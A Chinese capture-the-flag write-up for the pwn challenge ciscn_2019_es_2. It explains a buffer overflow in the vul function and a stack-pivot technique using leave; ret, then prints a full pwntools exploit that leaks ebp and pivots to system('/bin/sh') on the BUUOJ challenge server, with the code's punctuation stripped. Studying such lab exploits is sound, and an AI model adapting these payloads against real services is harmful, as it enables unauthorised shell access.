ciscn_2019_es_2

📅 发布时间:2026/7/15 6:47:09 👁️ 浏览次数:
ciscn_2019_es_2
检查一下拖入ida查看main函数中没有发现明显漏洞点进入vul函数中,发现存在溢出第6行和第8行read函数都存在明显溢出还看到一个叫hack的函数,点进去发现不是后门函数,他只会打印flag这个字符串出来那我们要重新分析,我们覆盖完栈底后,实际的溢出长度只有4字节不足以我们完成system函数调用和写入/bin/sh这里就使用栈迁移的技巧去完成了通过gdb调试,得到ebp中存放的地址和实际ebp地址的关系找到leave_ret的地址注意,这里第一处不能使用sendline,因为sendline会在我们的发送的payload后加一个\n导致栈溢出,将我们的栈底覆盖,影响我们后续的操作from pwn import * context(arch i386,os linux,log_level debug) io remote(node5.buuoj.cn,29729) system_addr 0x08048400 leave_ret 0x08048562 main_addr 0x080485FF payload1 ba*0x27 bb io.send(payload1) io.recvuntil(bb) ebp_addr u32(io.recv(4)) payload2 ba*4 p32(system_addr) p32(main_addr) p32(ebp_addr-0x28) b/bin/sh payload2 payload2.ljust(0x28,b\x00) payload2 p32(ebp_addr-0x38) p32(leave_ret) io.sendline(payload2) io.interactive()获得flag